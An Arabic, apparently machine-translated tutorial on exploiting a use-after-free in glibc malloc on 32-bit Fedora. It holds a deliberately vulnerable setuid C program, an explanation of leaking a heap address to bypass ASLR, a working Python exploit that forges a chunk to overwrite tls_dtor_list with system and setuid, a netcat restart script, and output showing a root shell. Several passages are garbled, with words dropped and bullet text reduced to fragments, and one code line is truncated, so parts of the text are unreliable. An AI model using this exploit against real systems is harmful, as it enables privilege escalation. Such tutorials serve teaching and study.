المتطلبات الأساسية:
- خارج بواسطة واحد الضعف
- فهم العمل
mallocفيglibc
تكوين الجهاز الظاهري: Fedora 20 (x86).
ما هو Use-After-Free (UaF)؟
يحدث خطأ Use-After-Free إذا استمر استخدام مؤشر كومة الذاكرة المؤقتة بعد تحريره. يمكن أن تؤدي هذه الثغرة الأمنية إلى تنفيذ التعليمات البرمجية المشتقة.
رمز ضعيف:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)
int main(int argc, char **argv) {
char* name = malloc(12); /* [1] */
char* details = malloc(12); /* [2] */
strncpy(name, argv[1], 12-1); /* [3] */
free(details); /* [4] */
free(name); /* [5] */
printf("Welcome %s\n",name); /* [6] */
fflush(stdout);
char* tmp = (char *) malloc(12); /* [7] */
char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
free(p2); /* [10] */
char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */
printf("Enter your region\n");
fflush(stdout);
read(0,p2,BUFSIZE1-1); /* [13] */
printf("Region:%s\n",p2);
free(p1); /* [14] */
}
أوامر التجميع:
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
ملاحظة : مقارنة بالمقال السابق ، يتم تضمين ASLR هنا. الآن دعنا نستفيد من خطأ UaF ، وبما أن ASLR ممكّن ، فلنعمل على حله من خلال تسريب المعلومات والقوة الغاشمة.في الكود أعلاه ، تم العثور على الثغرات الأمنية بعد الاستخدام في السطور [6] و [13]. يتم تحرير ذكريات الكومة المقابلة في السطور [5] و [10] ، ولكن يتم استخدام مؤشراتهم بعد إلغاء التخصيص في السطور [6] و [13]! UaF في السطر [6] يؤدي إلى تسرب المعلومات ، في السطر [13] - إلى تنفيذ كود تعسفي.
ما هو تسريب المعلومات؟ كيف يمكن للمهاجم استغلالها؟
في الكود الضعيف أعلاه (على السطر [6]) ، يحدث التسرب في عنوان الكومة. سيساعد عنوان الكومة الذي تم تسريبه المهاجم في التعرف بسهولة على عنوان مقطع الكومة المخصص عشوائيًا ، وبالتالي تجاوز ASLR.
لفهم كيفية حدوث تسرب لعنوان كومة الذاكرة المؤقتة ، دعنا أولاً نفهم النصف الأول من الشفرة الضعيفة.
- يخصص السطر [1] 16 بايت من ذاكرة الكومة لـ "الاسم" .
- [2] 16 «details».
- [3] 1 (argv[1]) «name».
- [4] [5] «name» «details» glibc malloc.
- Printf [6] «name» , .
بعد قراءة المقالة في قسم المتطلبات الأساسية ، نعلم أن القطع المقابلة لمؤشرات "الاسم" و "التفاصيل" هي أجزاء سريعة يتم تخزينها عند الفهرس صفر في الخلايا السريعة عند إصدارها . نعلم أيضًا أن كل خلية سريعة تحتوي على قائمة مرتبطة منفردة بالقطع الحرة. وبالتالي ، بالعودة إلى مثالنا ، فإن القائمة المرتبطة بشكل فردي عند الفهرس صفر في خلية سريعة تبدو كما يلي:
main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL
بسبب التفرد ، تحتوي أول 4 بايت من "الاسم" على عنوان "details_chunk" . وبالتالي ، عند عرض "name" ، يتم عرض عنوان "details_chunk" أولاً . استنادًا إلى تخطيط كومة الذاكرة المؤقتة ، نعلم أن "details_chunk" يتم تعويضها بمقدار 0x10 من عنوان الكومة الأساسي. لذا فإن طرح 0x10 من عنوان الكومة الذي تم تسريبه سيعطينا عنوانه الأساسي!
كيف يتم تنفيذ التعليمات البرمجية التعسفية؟
الآن بعد أن أصبح لدينا العنوان الأساسي لمقطع الكومة ، دعنا نرى كيفية تنفيذ تعليمات برمجية عشوائية من خلال النظر في النصف الثاني من مثالنا.
- يخصص السطر [7] ذاكرة كومة سعة 16 بايت لـ "tmp" .
- [8] 1024 «p1».
- [9] 1024 «p2».
- [10] «p2» glibc malloc.
- [11] 512 «p2_1».
- [12] 512 «p2_2».
- Read [13] «p2» .
- [14] «p1»
glibc malloc, .
بعد قراءة المقالة في قسم المتطلبات الأساسية ، نعلم أنه عند إصدار "p2" في
glibc malloc، يتم دمجه في جزء علوي. في وقت لاحق ، عند طلب ذاكرة "p2_1" ، يتم تخصيصها من الجزء العلوي ويكون لكل من "p2" و "p2_2" نفس عنوان كومة الذاكرة المؤقتة. علاوة على ذلك ، عند طلب ذاكرة لـ "p2_2" ، يتم تخصيصها من الجزء العلوي و "p2_2" تبعد 512 بايت عن "p2" . لذلك عندما يكون المؤشر "p2"تُستخدم بعد تحريرها في السطر [13] ، يتم نسخ البيانات التي يتحكم فيها المهاجم (بحد أقصى 1019 بايت) إلى "p2_1" ، والتي يبلغ حجمها 512 بايت فقط ، وبالتالي فإن البيانات المتبقية للمهاجم تحل محل الجزء التالي "p2_2" ، مما يمنح المهاجم الفرصة للكتابة فوق الحقل حجم رأس القطعة التالية.
تخطيط الكومة:
كما نعلم من المقالة في قسم المتطلبات الأساسية ، إذا نجح المهاجم في الكتابة فوق LSB لحقل حجم القطعة التالي ،
glibc mallocفيمكنه الغش لكسر الاتصال مع القطعة p2_1 حتى لو كانت في حالة مخصصة. أيضا في هذا المقاللقد رأينا أن فصل جزء كبير في حالة مخصصة يمكن أن يؤدي إلى تنفيذ تعليمات برمجية عشوائية إذا تلاعب المهاجم بعناية برأس القطعة. يقوم المهاجم بإنشاء رأس مقطع وهمي كما هو موضح أدناه:
fdيجب أن يشير إلى عنوان قطعة حرة. من مخطط الكومة ، يمكننا أن نرى أن "p2_1" عند الإزاحة 0x410. من هناfd = heap_base_address(الذي تم استلامه بسبب التسريب) + 0x410.bkيجب أن يشير أيضًا إلى عنوان قطعة تم تحريره. من مخطط الكومة ، يمكننا أن نرى أن "p2_1" عند الإزاحة 0x410. من هناfd = heap_base_address(الذي تم استلامه بسبب التسريب) + 0x410.fd_nextsizetls_dtor_list– 0x14. «tls_dtor_list»private anonymous mapping glibc. , , .bk_nextsize, «dtor_list». «system» dtor_list , «setuid» dtor_list «p2_2». , dtor_list 0x428 0x618 .
الآن بعد أن أصبح لدينا كل هذه المعلومات ، يمكننا كتابة استغلال لمهاجمة ثنائي "vuln" الضعيف .
كود الاستغلال:
#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time
ip = '127.0.0.1'
port = 1234
def conv(num): return struct.pack("<I
def send(data):
global con
con.write(data)
return con.read_until('\n')
print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0
while True:
time.sleep(4)
con = telnetlib.Telnet(ip, port)
laddress = con.read_until('\n')
laddress = laddress[8:12]
heap_addr_tup = struct.unpack("<I", laddress)
heap_addr = heap_addr_tup[0]
print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
heap_base_addr = heap_addr - 0x10
fd = heap_base_addr + 0x410
bk = fd
bk_nextsize = heap_base_addr + 0x618
mp = heap_base_addr + 0x18
nxt = heap_base_addr + 0x428
print "** Constructing fake chunk to overwrite tls_dtor_list**"
fake_chunk = conv(fd)
fake_chunk += conv(bk)
fake_chunk += conv(fd_nextsize)
fake_chunk += conv(bk_nextsize)
fake_chunk += conv(system)
fake_chunk += conv(system_arg)
fake_chunk += "A" * 484
fake_chunk += conv(size)
fake_chunk += conv(setuid)
fake_chunk += conv(setuid_arg)
fake_chunk += conv(mp)
fake_chunk += conv(nxt)
print "** Successful tls_dtor_list overwrite gives us shell!!**"
send(fake_chunk)
try:
con.interact()
except:
exit(0)
نظرًا لأننا نحتاج إلى عدة محاولات أثناء القوة الغاشمة (حتى ننجح) ، فلنقم بتشغيل برنامجنا الثنائي "vuln" الضعيف كخادم شبكة ونستخدم برنامج نصي شل للتأكد من إعادة تشغيله تلقائيًا عند تعطله.
#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
if [[ -z $nc_process_id ]]; then
echo "(Re)starting nc..."
nc -l -p 1234 -c "./vuln sploitfun"
else
echo "nc is running..."
fi
done
يمنحك تنفيذ كود الاستغلال أعلاه امتيازات الجذر في الصدفة. حدث!
Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$
مصدر:
1. إعادة النظر في ضعف استخدام Defcon CTF Shitsco - بعد الحرمان - تنفيذ الرمز عن بُعد
تحليل Bootkit. درس مجاني